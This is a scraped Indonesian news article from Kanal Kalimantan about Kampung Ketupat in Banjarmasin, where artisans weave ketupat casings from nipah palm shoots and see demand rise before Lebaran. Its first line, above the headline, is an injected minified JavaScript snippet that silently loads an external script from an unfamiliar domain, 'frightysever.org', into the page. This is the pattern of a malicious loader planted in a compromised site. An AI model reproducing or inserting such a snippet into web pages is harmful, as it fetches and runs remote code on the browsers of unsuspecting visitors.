(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Menengok Kampung Ketupat di Banjarmasin, Anyaman Dibuat dari Pucuk Daun Nipah


KANALKALIMANTAN.COM, BANJARMASIN – Salah satu kuliner yang sangat khas ketika Lebaran adalah ketupat atau kupat. Ketupat biasanya disajikan bersama opor ayam atau ketupat batumis dan ketupat iwak haruan selera Urang Banjar yang bermukim di Kota Banjarmasin.

Tak afdol rasanya kalau merayakan lebaran bersama keluarga tanpa dilengkapi dengan makanan dari bahan dasar beras yang dibungkus dengan anyaman daun tersebut.

Di salah satu sudut Kota Banjarmasin ada wilayah yang sebagian besar masyarakatnya merupakan pengrajin ketupat.

Baca juga: Ramai Penumpang Mudik di Terminal Gambut Barakat

Jalan Sungai Baru, Kelurahan Sungai Baru, Kecamatan Banjarmasin Tengah, Kota Banjarmasin mendapat julukan sebagai Kampung Ketupat, karena disitulah satu-satunya kawasan pengrajin ketupat yang bisa ditemui di Kota Seribu Sungai.

Selain Banjarmasin, di Kalimantan Selatan sendiri, Kandangan Kabupaten Hulu Sungai Selatan juga menjadi daerah pengrajin ketupat.

Sementara untuk bahan pembuatan ketupat di Kampung Ketupat Banjarmasin berbeda dari ketupat pada umumnya. Jika ketupat Kandangan mengunakan daun kelapa, pengrajin di Kampung Ketupat Banjarmasin memilih menggunakan pucuk tanaman nipah sebagai bahan utama pembuatan kulit ketupat.

Nipah yang memiliki bahasa latin Nypa Fruticans Wurmb merupakan tanaman mangrove yang biasa tumbuh di sepanjang sungai yang terpengaruh oleh pasang surut air laut.

Baca juga: Kembang Barenteng Naik Tiga Kali Lipat Jelang Hari Raya

Di Kalimantan Selatan sendiri, tanaman nipah banyak ditemui di wilayah Kecamatan Aluhaluh, Kabupaten Banjar. Di daerah pesisir itu bahkan ada kampung yang bernama Desa Bunipah karena banyak tumbuh tanaman nipah.

“Dari Aluhaluh sana pucuk nipahnya ini, ada orang yang khusus membawakan ke sini (Kampung Ketupat, red),” kata salah seorang pengrajin ketupat di Kampung Ketupat, Heldawati membuka pembicaraan.

Helda -biasa disapa- mengaku sudah sekitar 30 tahun menjadi pengrajin dan penjual kulit ketupat. Di depan rumahnya di Jalan Sungai Baru, Banjarmasin, Senin (8/4/2023) siang, terpajang kulit ketupat berbagai macam ukuran.

Baca juga: Wisuda Akbar Hafiz Indonesia 2024, Siapakah Yang Akan Menjadi Juaranya?

“Kalau satu paket ini isi 10 buah harganya Rp20 ribu,” ujar Helda sambil menunjuk ketupat yang sudah diikat siap dijual.

Sambil menunggu pelanggan, perempuan ini bahkan tak henti-hentinya sangat cekatan tangannya menganyam kulit ketupat di lapaknya.

Tangannya sangat lihai dalam menganyam, hanya hitungan menit beberapa tangkai pucuk daun nipah yang ada di tangannya berubah menjadi kulit ketupat.

Tak heran, pengalaman 30 tahun sebagai pengrajin ketupat membuat Helda dapat menganyam ketupat sambil berbincang-bincang. Bahkan sesekali ia mengalihkan pandangan, sementara tangannya fokus menganyam pucuk daun nipah.

Baca juga: Parcel Lebaran di Banjarbaru dari Rp250 Ribu hingga Rp1,5 Juta

Menjelang lebaran Hari Raya Idulfitri, permintaan kulit ketupat di tempatnya naik signifikan. Kenaikan penjualan bahkan diakui Helda meningkat 100 persen dibandingkan dengan hari biasa.

Helda tak perlu repot mencari pelanggan atau menjajakannya ke pasar, sebab pembeli menjelang lebaran biasanya langsung datang ke tempatnya di kawasan Kampung Ketupat.

Dalam sehari, Helda bersama keluarga mengaku dapat memproduksi ribuan buah kulit ketupat. Bahkan di momen tertentu seperti menjelang hari raya pengrajin ini mengaku mampu membuat sampai 5 ribu kulit ketupat dari daun nipah. Dan itu menurutnya jarang tak laku alias selalu habis terjual.

“Sehari bisa sampai 10 bohal. 10 bohal tergantung ada yang sampai 5 ribu biji. Tapi kalau hari biasa kurang,” sebutnya.

Baca juga: Dirut PLN Lakukan Inspeksi SPKLU Jalur Mudik, 1.299 Unit se Indonesia Siaga Layani Pengguna Mobil Listrik  

Omsetnya pun tak tanggung-tanggung, saat penjualan naik seperti saat ini dalam sehari Helda mengaku mampu memperoleh pendapatan hingga Rp1 juta.

“Hari-hari ini ada yang sampai seribu (Maksudnya satu juta), tergantung pucuk nipahnya yang datang,” ujar Helda.

Bukan hanya Helda, pengrajin ketupat lain di Kampung Ketupat Banjarmasin juga turut mendapatkan berkah rejeki menjelang hari raya Idulfitri karena permintaan kulit ketupat yang sangat tinggi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

2 menit ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

24 menit ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

30 menit ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

53 menit ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

1 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

1 jam ago

This website uses cookies.